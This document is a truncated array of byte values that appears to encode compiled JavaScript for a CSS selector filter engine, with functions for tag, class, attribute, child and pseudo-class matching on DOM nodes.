72, 13, 46, 2, 61, 1, 4, 3, 3, 1, 97, 46, 2, 61, 0, 103, 0, 57, 153, 3, 23, 150, 3, 56, 243, 2, 72, 13, 46, 2, 61, 1, 4, 3, 3, 1, 97, 46, 2, 61, 3, 21, 59, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 3, 1, 97, 46, 2, 61, 2, 60, 40, 38, 0, 60, 32, 38, 0, 72, 13, 46, 2, 61, 1, 4, 3, 3, 1, 97, 46, 2, 61, 4, 72, 13, 46, 2, 61, 1, 4, 3, 3, 1, 97, 46, 2, 61, 5, 65, 2, 0, 0, 60, 164, 2, 92, 0, 60, 169, 1, 92, 0, 60, 70, 92, 0, 60, 35, 92, 0, 4, 3, 3, 1, 99, 59, 26, 72, 17, 46, 2, 61, 0, 4, 3, 2, 1, 86, 4, 6, 0, 4, 116, 101, 115, 116, 23, 5, 4, 3, 3, 1, 99, 21, 29, 86, 0, 4, 3, 3, 1, 98, 59, 20, 4, 3, 2, 1, 103, 23, 13, 4, 3, 3, 1, 99, 91, 6, 85, 0, 46, 2, 61, 0, 21, 93, 86, 0, 4, 3, 3, 1, 98, 6, 84, 113, 0, 59, 59, 72, 20, 46, 2, 61, 0, 4, 3, 3, 1, 99, 4, 9, 0, 7, 105, 110, 100, 101, 120, 79, 102, 23, 35, 65, 3, 0, 1, 41, 6, 28, 113, 0, 72, 19, 46, 2, 61, 0, 4, 3, 3, 1, 99, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 4, 3, 3, 1, 98, 72, 19, 46, 2, 61, 0, 4, 3, 3, 1, 99, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 57, 116, 23, 114, 21, 60, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 3, 1, 97, 46, 2, 61, 0, 59, 41, 72, 28, 46, 2, 61, 0, 72, 13, 46, 2, 61, 1, 4, 3, 3, 1, 97, 46, 2, 61, 0, 4, 7, 0, 5, 115, 108, 105, 99, 101, 23, 9, 46, 2, 61, 0, 4, 3, 3, 1, 98, 21, 50, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 3, 1, 97, 46, 2, 61, 2, 59, 31, 72, 18, 46, 2, 61, 0, 4, 3, 3, 1, 99, 4, 7, 0, 5, 115, 108, 105, 99, 101, 23, 9, 46, 2, 61, 0, 4, 3, 3, 1, 98, 59, 30, 72, 18, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 7, 0, 5, 115, 108, 105, 99, 101, 23, 8, 46, 2, 61, 0, 46, 2, 61, 3, 1, 206, 31, 46, 2, 61, 42, 46, 2, 61, 0, 4, 8, 0, 6, 102, 105, 108, 116, 101, 114, 35, 185, 31, 23, 182, 31, 1, 254, 1, 46, 2, 61, 42, 46, 2, 61, 0, 4, 5, 0, 3, 84, 65, 71, 55, 236, 1, 65, 2, 0, 0, 23, 5, 4, 3, 3, 1, 97, 49, 222, 1, 49, 219, 1, 49, 72, 49, 70, 3, 68, 4, 3, 3, 1, 98, 59, 61, 72, 57, 46, 2, 61, 0, 59, 36, 72, 20, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 9, 0, 7, 114, 101, 112, 108, 97, 99, 101, 23, 12, 4, 4, 2, 2, 99, 97, 4, 4, 2, 2, 100, 97, 4, 13, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 23, 0, 120, 142, 1, 56, 139, 1, 6, 12, 26, 0, 65, 3, 0, 1, 42, 4, 3, 3, 1, 97, 55, 20, 65, 2, 0, 0, 23, 0, 49, 12, 49, 10, 120, 8, 91, 6, 85, 0, 46, 2, 61, 0, 55, 101, 65, 2, 0, 0, 23, 5, 4, 3, 4, 1, 97, 49, 88, 49, 86, 120, 84, 60, 82, 92, 0, 72, 21, 46, 2, 61, 0, 4, 3, 4, 1, 97, 4, 10, 0, 8, 110, 111, 100, 101, 78, 97, 109, 101, 6, 55, 26, 0, 59, 46, 72, 42, 46, 2, 61, 0, 72, 21, 46, 2, 61, 0, 4, 3, 4, 1, 97, 4, 10, 0, 8, 110, 111, 100, 101, 78, 97, 109, 101, 4, 13, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 23, 0, 4, 3, 3, 1, 98, 1, 161, 3, 46, 2, 61, 42, 46, 2, 61, 0, 4, 7, 0, 5, 67, 76, 65, 83, 83, 55, 141, 3, 65, 2, 0, 0, 23, 5, 4, 3, 3, 1, 97, 49, 255, 2, 49, 252, 2, 49, 34, 49, 32, 3, 30, 4, 3, 3, 1, 98, 72, 23, 46, 2, 61, 1, 4, 3, 2, 1, 121, 6, 12, 58, 0, 4, 3, 3, 1, 97, 65, 3, 0, 1, 32, 120, 213, 2, 60, 210, 2, 38, 0, 4, 3, 3, 1, 98, 60, 200, 2, 92, 0, 21, 84, 86, 0, 4, 3, 3, 1, 98, 84, 75, 4, 8, 0, 6, 82, 101, 103, 69, 120, 112, 23, 63, 6, 61, 58, 0, 6, 50, 58, 0, 6, 41, 58, 0, 6, 32, 58, 0, 6, 23, 58, 0, 6, 14, 58, 0, 65, 5, 0, 3, 40, 94, 124, 4, 3, 2, 1, 76, 65, 3, 0, 1, 41, 4, 3, 3, 1, 97, 65, 3, 0, 1, 40, 4, 3, 2, 1, 76, 65, 5, 0, 3, 124, 36, 41, 59, 237, 1, 4, 3, 2, 1, 121, 23, 229, 1, 4, 3, 3, 1, 97, 55, 221, 1, 65, 2, 0, 0, 23, 5, 4, 3, 4, 1, 97, 49, 207, 1, 49, 204, 1, 120, 201, 1, 59, 198, 1, 72, 17, 46, 2, 61, 0, 4, 3, 3, 1, 98, 4, 6, 0, 4, 116, 101, 115, 116, 23, 176, 1, 60, 173, 1, 38, 0, 60, 164, 1, 38, 0, 60, 68, 92, 0, 6, 40, 16, 0, 65, 8, 0, 6, 115, 116, 114, 105, 110, 103, 91, 26, 125, 0, 72, 22, 46, 2, 61, 0, 4, 3, 4, 1, 97, 4, 11, 0, 9, 99, 108, 97, 115, 115, 78, 97, 109, 101, 72, 22, 46, 2, 61, 0, 4, 3, 4, 1, 97, 4, 11, 0, 9, 99, 108, 97, 115, 115, 78, 97, 109, 101, 60, 90, 92, 0, 6, 46, 94, 0, 65, 11, 0, 9, 117, 110, 100, 101, 102, 105, 110, 101, 100, 91, 29, 125, 0, 72, 25, 46, 2, 61, 0, 4, 3, 4, 1, 97, 4, 14, 0, 12, 103, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 59, 38, 72, 25, 46, 2, 61, 0, 4, 3, 4, 1, 97, 4, 14, 0, 12, 103, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 23, 9, 65, 7, 0, 5, 99, 108, 97, 115, 115, 65, 2, 0, 0, 1, 181, 5, 46, 2, 61, 42, 46, 2, 61, 0, 4, 6, 0, 4, 65, 84, 84, 82, 55, 162, 5, 65, 2, 0, 0, 23, 15, 4, 3, 3, 1, 97, 4, 3, 3, 1, 98, 4, 3, 3, 1, 99, 49, 138, 5, 49, 135, 5, 120, 132, 5, 55, 129, 5, 65, 2, 0, 0, 23, 5, 4, 3, 4, 1, 100, 49, 243, 4, 49, 240, 4, 49, 43, 49, 41, 3, 39, 4, 3, 4, 1, 101, 59, 32, 72, 18, 46, 2, 61, 0, 4, 4, 2, 2, 103, 97, 4, 6, 0, 4, 97, 116, 116, 114, 23, 10, 4, 3, 4, 1, 100, 4, 3, 3, 1, 97, 120, 192, 4, 56, 189, 4, 6, 9, 16, 0, 103, 0, 4, 3, 4, 1, 101, 6, 13, 26, 0, 65, 4, 0, 2, 33, 61, 4, 3, 3, 1, 98, 56, 160, 4, 4, 3, 3, 1, 98, 57, 144, 4, 23, 141, 4, 21, 11, 8, 0, 4, 3, 4, 1, 101, 65, 2, 0, 0, 56, 253, 3, 6, 12, 26, 0, 65, 3, 0, 1, 61, 4, 3, 3, 1, 98, 6, 12, 26, 0, 4, 3, 4, 1, 101, 4, 3, 3, 1, 99, 56, 222, 3, 6, 13, 26, 0, 65, 4, 0, 2, 33, 61, 4, 3, 3, 1, 98, 6, 12, 52, 0, 4, 3, 4, 1, 101, 4, 3, 3, 1, 99, 56, 190, 3, 6, 13, 26, 0, 65, 4, 0, 2, 94, 61, 4, 3, 3, 1, 98, 60, 46, 92, 0, 4, 3, 3, 1, 99, 6, 37, 26, 0, 46, 2, 61, 0, 59, 29, 72, 20, 46, 2, 61, 0, 4, 3, 4, 1, 101, 4, 9, 0, 7, 105, 110, 100, 101, 120, 79, 102, 23, 5, 4, 3, 3, 1, 99, 56, 252, 2, 6, 13, 26, 0, 65, 4, 0, 2, 42, 61, 4, 3, 3, 1, 98, 60, 50, 92, 0, 4, 3, 3, 1, 99, 6, 41, 43, 0, 59, 29, 72, 20, 46, 2, 61, 0, 4, 3, 4, 1, 101, 4, 9, 0, 7, 105, 110, 100, 101, 120, 79, 102, 23, 5, 4, 3, 3, 1, 99, 91, 6, 102, 0, 46, 2, 61, 1, 56, 182, 2, 6, 13, 26, 0, 65, 4, 0, 2, 36, 61, 4, 3, 3, 1, 98, 60, 65, 92, 0, 4, 3, 3, 1, 99, 6, 56, 26, 0, 59, 47, 72, 18, 46, 2, 61, 0, 4, 3, 4, 1, 101, 4, 7, 0, 5, 115, 108, 105, 99, 101, 23, 25, 91, 23, 102, 0, 72, 19, 46, 2, 61, 0, 4, 3, 3, 1, 99, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 4, 3, 3, 1, 99, 56, 225, 1, 6, 13, 26, 0, 65, 4, 0, 2, 126, 61, 4, 3, 3, 1, 98, 6, 90, 43, 0, 59, 78, 72, 69, 46, 2, 61, 0, 6, 52, 58, 0, 6, 43, 58, 0, 65, 3, 0, 1, 32, 59, 34, 72, 20, 46, 2, 61, 0, 4, 3, 4, 1, 101, 4, 9, 0, 7, 114, 101, 112, 108, 97, 99, 101, 23, 10, 4, 3, 2, 1, 81, 65, 3, 0, 1, 32, 65, 3, 0, 1, 32, 4, 9, 0, 7, 105, 110, 100, 101, 120, 79, 102, 23, 5, 4, 3, 3, 1, 99, 91, 6, 102, 0, 46, 2, 61, 1, 56, 116, 6, 13, 26, 0, 65, 4, 0, 2, 124, 61, 4, 3, 3, 1, 98, 60, 91, 38, 0, 6, 12, 26, 0, 4, 3, 4, 1, 101, 4, 3, 3, 1, 99, 6, 73, 26, 0, 59, 55, 72, 18, 46, 2, 61, 0, 4, 3, 4, 1, 101, 4, 7, 0, 5, 115, 108, 105, 99, 101, 23, 33, 46, 2, 61, 0, 6, 27, 58, 0, 72, 19, 46, 2, 61, 0, 4, 3, 3, 1, 99, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 46, 2, 61, 1, 6, 12, 58, 0, 4, 3, 3, 1, 99, 65, 3, 0, 1, 45, 91, 6, 85, 0, 46, 2, 61, 1, 91, 6, 85, 0, 46, 2, 61, 0, 1, 159, 15, 46, 2, 61, 42, 46, 2, 61, 0, 4, 7, 0, 5, 67, 72, 73, 76, 68, 55, 139, 15, 65, 2, 0, 0, 23, 25, 4, 3, 3, 1, 97, 4, 3, 3, 1, 98, 4, 3, 3, 1, 99, 4, 3, 3, 1, 100, 4, 3, 3, 1, 101, 49, 233, 14, 49, 230, 14, 49, 131, 1, 49, 128, 1, 3, 48, 4, 3, 3, 1, 102, 6, 41, 52, 0, 65, 5, 0, 3, 110, 116, 104, 59, 30, 72, 18, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 7, 0, 5, 115, 108, 105, 99, 101, 23, 8, 46, 2, 61, 0, 46, 2, 61, 3, 3, 49, 4, 3, 3, 1, 103, 6, 42, 52, 0, 65, 6, 0, 4, 108, 97, 115, 116, 59, 30, 72, 18, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 7, 0, 5, 115, 108, 105, 99, 101, 23, 8, 91, 6, 102, 0, 46, 2, 61, 4, 3, 25, 4, 3, 3, 1, 104, 6, 18, 26, 0, 65, 9, 0, 7, 111, 102, 45, 116, 121, 112, 101, 4, 3, 3, 1, 98, 120, 221, 13, 56, 218, 13, 60, 28, 92, 0, 6, 11, 26, 0, 46, 2, 61, 1, 4, 3, 3, 1, 100, 6, 11, 26, 0, 46, 2, 61, 0, 4, 3, 3, 1, 101, 55, 50, 65, 2, 0, 0, 23, 5, 4, 3, 4, 1, 97, 49, 37, 49, 35, 120, 33, 91, 31, 85, 0, 91, 27, 85, 0, 72, 23, 46, 2, 61, 0, 4, 3, 4, 1, 97, 4, 12, 0, 10, 112, 97, 114, 101, 110, 116, 78, 111, 100, 101, 55, 133, 13, 65, 2, 0, 0, 23, 15, 4, 3, 4, 1, 98, 4, 3, 4, 1, 99, 4, 3, 4, 1, 105, 49, 237, 12, 49, 234, 12, 49, 239, 1, 49, 236, 1, 3, 7, 4, 3, 4, 1, 106, 87, 0, 3, 7, 4, 3, 4, 1, 107, 87, 0, 3, 7, 4, 3, 4, 1, 108, 87, 0, 3, 7, 4, 3, 4, 1, 109, 87, 0, 3, 7, 4, 3, 4, 1, 110, 87, 0, 3, 7, 4, 3, 4, 1, 111, 87, 0, 3, 55, 4, 3, 4, 1, 112, 56, 48, 6, 12, 52, 0, 4, 3, 3, 1, 102, 4, 3, 3, 1, 103, 65, 13, 0, 11, 110, 101, 120, 116, 83, 105, 98, 108, 105, 110, 103, 65, 17, 0, 15, 112, 114, 101, 118, 105, 111, 117, 115, 83, 105, 98, 108, 105, 110, 103, 3, 30, 4, 3, 4, 1, 113, 72, 23, 46, 2, 61, 0, 4, 3, 4, 1, 98, 4, 12, 0, 10, 112, 97, 114, 101, 110, 116, 78, 111, 100, 101, 3, 62, 4, 3, 4, 1, 114, 60, 55, 92, 0, 4, 3, 3, 1, 104, 59, 46, 72, 42, 46, 2, 61, 0, 72, 21, 46, 2, 61, 0, 4, 3, 4, 1, 98, 4, 10, 0, 8, 110, 111, 100, 101, 78, 97, 109, 101, 4, 13, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 23, 0, 3, 27, 4, 3, 4, 1, 115, 60, 20, 92, 0, 91, 7, 85, 0, 4, 3, 4, 1, 105, 91, 7, 85, 0, 4, 3, 3, 1, 104, 76, 245, 10, 4, 3, 4, 1, 113, 49, 235, 10, 49, 232, 10, 76, 130, 2, 4, 3, 3, 1, 102, 49, 248, 1, 49, 245, 1, 73, 232, 1, 4, 3, 4, 1, 112, 79, 224, 1, 116, 14, 21, 12, 86, 0, 4, 3, 4, 1, 108, 4, 3, 4, 1, 98, 73, 136, 1, 21, 23, 86, 0, 4, 3, 4, 1, 108, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 108, 4, 3, 4, 1, 112, 79, 109, 76, 107, 56, 93, 4, 3, 3, 1, 104, 6, 55, 26, 0, 59, 46, 72, 42, 46, 2, 61, 0, 72, 21, 46, 2, 61, 0, 4, 3, 4, 1, 108, 4, 10, 0, 8, 110, 111, 100, 101, 78, 97, 109, 101, 4, 13, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 23, 0, 4, 3, 4, 1, 114, 6, 29, 26, 0, 46, 2, 61, 1, 72, 21, 46, 2, 61, 0, 4, 3, 4, 1, 108, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 120, 8, 91, 6, 85, 0, 46, 2, 61, 1, 103, 0, 116, 67, 21, 65, 86, 0, 4, 3, 4, 1, 111, 21, 56, 86, 0, 4, 3, 4, 1, 112, 60, 47, 92, 0, 60, 28, 92, 0, 6, 15, 26, 0, 65, 6, 0, 4, 111, 110, 108, 121, 4, 3, 3, 1, 97, 91, 7, 85, 0, 4, 3, 4, 1, 111, 65, 13, 0, 11, 110, 101, 120, 116, 83, 105, 98, 108, 105, 110, 103, 120, 8, 91, 6, 85, 0, 46, 2, 61, 0, 103, 0, 76, 138, 8, 57, 85, 23, 83, 21, 67, 86, 0, 4, 3, 4, 1, 111, 126, 58, 23, 56, 56, 54, 4, 3, 3, 1, 103, 72, 23, 46, 2, 61, 0, 4, 3, 4, 1, 113, 4, 12, 0, 10, 102, 105, 114, 115, 116, 67, 104, 105, 108, 100, 72, 22, 46, 2, 61, 0, 4, 3, 4, 1, 113, 4, 11, 0, 9, 108, 97, 115, 116, 67, 104, 105, 108, 100, 60, 12, 92, 0, 4, 3, 3, 1, 103, 4, 3, 4, 1, 115, 49, 225, 3, 49, 222, 3, 116, 250, 1, 57, 247, 1, 23, 244, 1, 21, 51, 86, 0, 4, 3, 4, 1, 107, 60, 42, 38, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 113, 4, 3, 2, 1, 117, 21, 22, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 113, 4, 3, 2, 1, 117, 35, 2, 23, 0, 21, 31, 86, 0, 4, 3, 4, 1, 106, 60, 22, 38, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 107, 4, 3, 3, 1, 97, 126, 2, 23, 0, 21, 50, 86, 0, 4, 3, 4, 1, 110, 60, 41, 92, 0, 6, 22, 26, 0, 72, 13, 46, 2, 61, 1, 4, 3, 4, 1, 106, 46, 2, 61, 0, 4, 3, 2, 1, 119, 72, 13, 46, 2, 61, 1, 4, 3, 4, 1, 106, 46, 2, 61, 1, 21, 50, 86, 0, 4, 3, 4, 1, 109, 60, 41, 92, 0, 6, 22, 26, 0, 72, 13, 46, 2, 61, 1, 4, 3, 4, 1, 106, 46, 2, 61, 0, 4, 3, 2, 1, 119, 72, 13, 46, 2, 61, 1, 4, 3, 4, 1, 106, 46, 2, 61, 2, 21, 52, 86, 0, 4, 3, 4, 1, 108, 60, 43, 92, 0, 4, 3, 4, 1, 110, 72, 34, 46, 2, 61, 1, 72, 23, 46, 2, 61, 0, 4, 3, 4, 1, 113, 4, 12, 0, 10, 99, 104, 105, 108, 100, 78, 111, 100, 101, 115, 4, 3, 4, 1, 110, 73, 222, 1, 21, 101, 86, 0, 4, 3, 4, 1, 108, 60, 92, 38, 0, 60, 66, 38, 0, 60, 40, 92, 0, 60, 20, 92, 0, 96, 11, 119, 0, 46, 2, 61, 1, 4, 3, 4, 1, 110, 4, 3, 4, 1, 108, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 108, 4, 3, 4, 1, 112, 21, 20, 86, 0, 4, 3, 4, 1, 109, 21, 11, 86, 0, 4, 3, 4, 1, 110, 46, 2, 61, 0, 59, 20, 72, 16, 46, 2, 61, 0, 4, 3, 4, 1, 111, 4, 5, 0, 3, 112, 111, 112, 23, 0, 79, 117, 76, 115, 60, 64, 92, 0, 60, 46, 92, 0, 6, 29, 26, 0, 46, 2, 61, 1, 72, 21, 46, 2, 61, 0, 4, 3, 4, 1, 108, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 96, 11, 119, 0, 46, 2, 61, 1, 4, 3, 4, 1, 109, 6, 12, 26, 0, 4, 3, 4, 1, 108, 4, 3, 4, 1, 98, 49, 45, 49, 43, 116, 39, 21, 37, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 107, 4, 3, 3, 1, 97, 126, 17, 23, 15, 4, 3, 2, 1, 119, 4, 3, 4, 1, 110, 4, 3, 4, 1, 109, 81, 0, 103, 0, 76, 204, 3, 60, 99, 92, 0, 60, 71, 92, 0, 4, 3, 4, 1, 115, 21, 62, 86, 0, 4, 3, 4, 1, 106, 72, 53, 46, 2, 61, 1, 60, 42, 38, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 98, 4, 3, 2, 1, 117, 21, 22, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 98, 4, 3, 2, 1, 117, 35, 2, 23, 0, 4, 3, 3, 1, 97, 6, 22, 26, 0, 72, 13, 46, 2, 61, 1, 4, 3, 4, 1, 106, 46, 2, 61, 0, 4, 3, 2, 1, 119, 116, 24, 21, 22, 86, 0, 4, 3, 4, 1, 109, 72, 13, 46, 2, 61, 1, 4, 3, 4, 1, 106, 46, 2, 61, 1, 73, 202, 2, 21, 101, 86, 0, 4, 3, 4, 1, 108, 60, 92, 38, 0, 60, 66, 38, 0, 60, 40, 92, 0, 60, 20, 92, 0, 96, 11, 119, 0, 46, 2, 61, 1, 4, 3, 4, 1, 110, 4, 3, 4, 1, 108, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 108, 4, 3, 4, 1, 112, 21, 20, 86, 0, 4, 3, 4, 1, 109, 21, 11, 86, 0, 4, 3, 4, 1, 110, 46, 2, 61, 0, 59, 20, 72, 16, 46, 2, 61, 0, 4, 3, 4, 1, 111, 4, 5, 0, 3, 112, 111, 112, 23, 0, 79, 224, 1, 76, 221, 1, 60, 214, 1, 92, 0, 60, 110, 92, 0, 56, 93, 4, 3, 3, 1, 104, 6, 55, 26, 0, 59, 46, 72, 42, 46, 2, 61, 0, 72, 21, 46, 2, 61, 0, 4, 3, 4, 1, 108, 4, 10, 0, 8, 110, 111, 100, 101, 78, 97, 109, 101, 4, 13, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 23, 0, 4, 3, 4, 1, 114, 6, 29, 26, 0, 46, 2, 61, 1, 72, 21, 46, 2, 61, 0, 4, 3, 4, 1, 108, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 96, 11, 119, 0, 46, 2, 61, 1, 4, 3, 4, 1, 109, 57, 98, 23, 96, 60, 80, 92, 0, 4, 3, 4, 1, 115, 21, 71, 86, 0, 72, 53, 46, 2, 61, 1, 60, 42, 38, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 108, 4, 3, 2, 1, 117, 21, 22, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 108, 4, 3, 2, 1, 117, 35, 2, 23, 0, 4, 3, 3, 1, 97, 126, 12, 23, 10, 4, 3, 2, 1, 119, 4, 3, 4, 1, 109, 6, 12, 26, 0, 4, 3, 4, 1, 108, 4, 3, 4, 1, 98, 81, 0, 103, 0, 120, 84, 57, 82, 23, 80, 21, 12, 19, 0, 4, 3, 4, 1, 109, 4, 3, 3, 1, 101, 60, 64, 38, 0, 6, 12, 26, 0, 4, 3, 4, 1, 109, 4, 3, 3, 1, 100, 60, 46, 92, 0, 6, 20, 26, 0, 6, 12, 110, 0, 4, 3, 4, 1, 109, 4, 3, 3, 1, 100, 46, 2, 61, 0, 6, 20, 101, 0, 6, 12, 68, 0, 4, 3, 4, 1, 109, 4, 3, 3, 1, 100, 46, 2, 61, 0, 103, 0, 1, 180, 5, 46, 2, 61, 42, 46, 2, 61, 0, 4, 8, 0, 6, 80, 83, 69, 85, 68, 79, 55, 159, 5, 65, 2, 0, 0, 23, 10, 4, 3, 3, 1, 97, 4, 3, 3, 1, 98, 49, 140, 5, 49, 137, 5, 49, 181, 1, 49, 178, 1, 3, 7, 4, 3, 3, 1, 99, 87, 0, 3, 166, 1, 4, 3, 3, 1, 101, 60, 158, 1, 38, 0, 60, 96, 38, 0, 72, 31, 46, 2, 61, 1, 72, 20, 46, 2, 61, 0, 4, 3, 2, 1, 100, 4, 9, 0, 7, 112, 115, 101, 117, 100, 111, 115, 4, 3, 3, 1, 97, 72, 59, 46, 2, 61, 1, 72, 23, 46, 2, 61, 0, 4, 3, 2, 1, 100, 4, 12, 0, 10, 115, 101, 116, 70, 105, 108, 116, 101, 114, 115, 59, 28, 72, 24, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 13, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 23, 0, 59, 56, 72, 19, 46, 2, 61, 0, 4, 4, 2, 2, 103, 97, 4, 7, 0, 5, 101, 114, 114, 111, 114, 23, 33, 6, 31, 58, 0, 65, 22, 0, 20, 117, 110, 115, 117, 112, 112, 111, 114, 116, 101, 100, 32, 112, 115, 101, 117, 100, 111, 58, 32, 4, 3, 3, 1, 97, 120, 206, 3, 56, 203, 3, 72, 14, 46, 2, 61, 1, 4, 3, 3, 1, 101, 4, 3, 2, 1, 117, 59, 12, 4, 3, 3, 1, 101, 23, 5, 4, 3, 3, 1, 98, 56, 170, 3, 6, 27, 43, 0, 72, 19, 46, 2, 61, 0, 4, 3, 3, 1, 101, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 46, 2, 61, 1, 57, 133, 3, 23, 130, 3, 21, 30, 86, 0, 4, 3, 3, 1, 99, 126, 21, 23, 19, 4, 3, 3, 1, 97, 4, 3, 3, 1, 97, 65, 2, 0, 0, 4, 3, 3, 1, 98, 56, 223, 2, 59, 81, 72, 47, 46, 2, 61, 0, 72, 23, 46, 2, 61, 0, 4, 3, 2, 1, 100, 4, 12, 0, 10, 115, 101, 116, 70, 105, 108, 116, 101, 114, 115, 4, 16, 0, 14, 104, 97, 115, 79, 119, 110, 80, 114, 111, 112, 101, 114, 116, 121, 23, 30, 59, 28, 72, 24, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 13, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 23, 0, 59, 223, 1, 4, 4, 2, 2, 105, 97, 23, 214, 1, 55, 211, 1, 65, 2, 0, 0, 23, 10, 4, 3, 4, 1, 97, 4, 3, 4, 1, 99, 49, 192, 1, 49, 189, 1, 49, 65, 49, 63, 3, 7, 4, 3, 4, 1, 100, 87, 0, 3, 24, 4, 3, 4, 1, 102, 59, 17, 4, 3, 3, 1, 101, 23, 10, 4, 3, 4, 1, 97, 4, 3, 3, 1, 98, 3, 26, 4, 3, 4, 1, 103, 72, 19, 46, 2, 61, 0, 4, 3, 4, 1, 102, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 73, 120, 96, 11, 75, 0, 46, 2, 61, 0, 4, 3, 4, 1, 103, 79, 105, 116, 103, 57, 101, 23, 99, 21, 37, 86, 0, 4, 3, 4, 1, 100, 59, 28, 4, 3, 2, 1, 74, 23, 21, 4, 3, 4, 1, 97, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 102, 4, 3, 4, 1, 103, 21, 58, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 97, 4, 3, 4, 1, 100, 91, 38, 85, 0, 21, 34, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 99, 4, 3, 4, 1, 100, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 102, 4, 3, 4, 1, 103, 55, 40, 65, 2, 0, 0, 23, 5, 4, 3, 4, 1, 97, 49, 27, 49, 25, 120, 23, 59, 21, 4, 3, 3, 1, 101, 23, 14, 4, 3, 4, 1, 97, 46, 2, 61, 0, 4, 3, 3, 1, 99, 4, 3, 3, 1, 101, 1, 146, 32, 46, 2, 61, 42, 46, 2, 61, 0, 4, 9, 0, 7, 112, 115, 101, 117, 100, 111, 115, 35, 252, 31, 23, 249, 31, 1, 240, 3, 46, 2, 61, 42, 46, 2, 61, 0, 4, 5, 0, 3, 110, 111, 116, 59, 222, 3, 4, 4, 2, 2, 105, 97, 23, 213, 3, 55, 210, 3, 65, 2, 0, 0, 23, 5, 4, 3, 3, 1, 97, 49, 196, 3, 49, 193, 3, 49, 77, 49, 75, 3, 9, 4, 3, 3, 1, 98, 126, 2, 23, 0, 3, 9, 4, 3, 3, 1, 99, 126, 2, 23, 0, 3, 51, 4, 3, 3, 1, 100, 59, 44, 4, 3, 2, 1, 104, 23, 37, 59, 35, 72, 20, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 9, 0, 7, 114, 101, 112, 108, 97, 99, 101, 23, 11, 4, 3, 2, 1, 82, 65, 4, 0, 2, 36, 49, 120, 239, 2, 56, 236, 2, 72, 14, 46, 2, 61, 1, 4, 3, 3, 1, 100, 4, 3, 2, 1, 117, 59, 214, 1, 4, 4, 2, 2, 105, 97, 23, 205, 1, 55, 202, 1, 65, 2, 0, 0, 23, 20, 4, 3, 4, 1, 97, 4, 3, 4, 1, 98, 4, 3, 4, 1, 99, 4, 3, 4, 1, 101, 49, 173, 1, 49, 170, 1, 49, 71, 49, 69, 3, 7, 4, 3, 4, 1, 102, 87, 0, 3, 30, 4, 3, 4, 1, 103, 59, 23, 4, 3, 3, 1, 100, 23, 16, 4, 3, 4, 1, 97, 103, 0, 4, 3, 4, 1, 101, 126, 2, 23, 0, 3, 26, 4, 3, 4, 1, 104, 72, 19, 46, 2, 61, 0, 4, 3, 4, 1, 97, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 73, 95, 96, 11, 75, 0, 46, 2, 61, 0, 4, 3, 4, 1, 104, 79, 80, 116, 78, 60, 76, 92, 0, 21, 23, 86, 0, 4, 3, 4, 1, 102, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 103, 4, 3, 4, 1, 104, 21, 47, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 97, 4, 3, 4, 1, 104, 91, 27, 85, 0, 21, 23, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 98, 4, 3, 4, 1, 104, 4, 3, 4, 1, 102, 55, 128, 1, 65, 2, 0, 0, 23, 15, 4, 3, 4, 1, 97, 4, 3, 4, 1, 101, 4, 3, 4, 1, 102, 49, 105, 49, 103, 120, 101, 57, 99, 23, 97, 21, 22, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 3, 1, 98, 46, 2, 61, 0, 4, 3, 4, 1, 97, 59, 24, 4, 3, 3, 1, 100, 23, 17, 4, 3, 3, 1, 98, 103, 0, 4, 3, 4, 1, 102, 4, 3, 3, 1, 99, 21, 19, 86, 0, 72, 13, 46, 2, 61, 1, 4, 3, 3, 1, 98, 46, 2, 61, 0, 103, 0, 91, 24, 85, 0, 59, 20, 72, 16, 46, 2, 61, 0, 4, 3, 3, 1, 99, 4, 5, 0, 3, 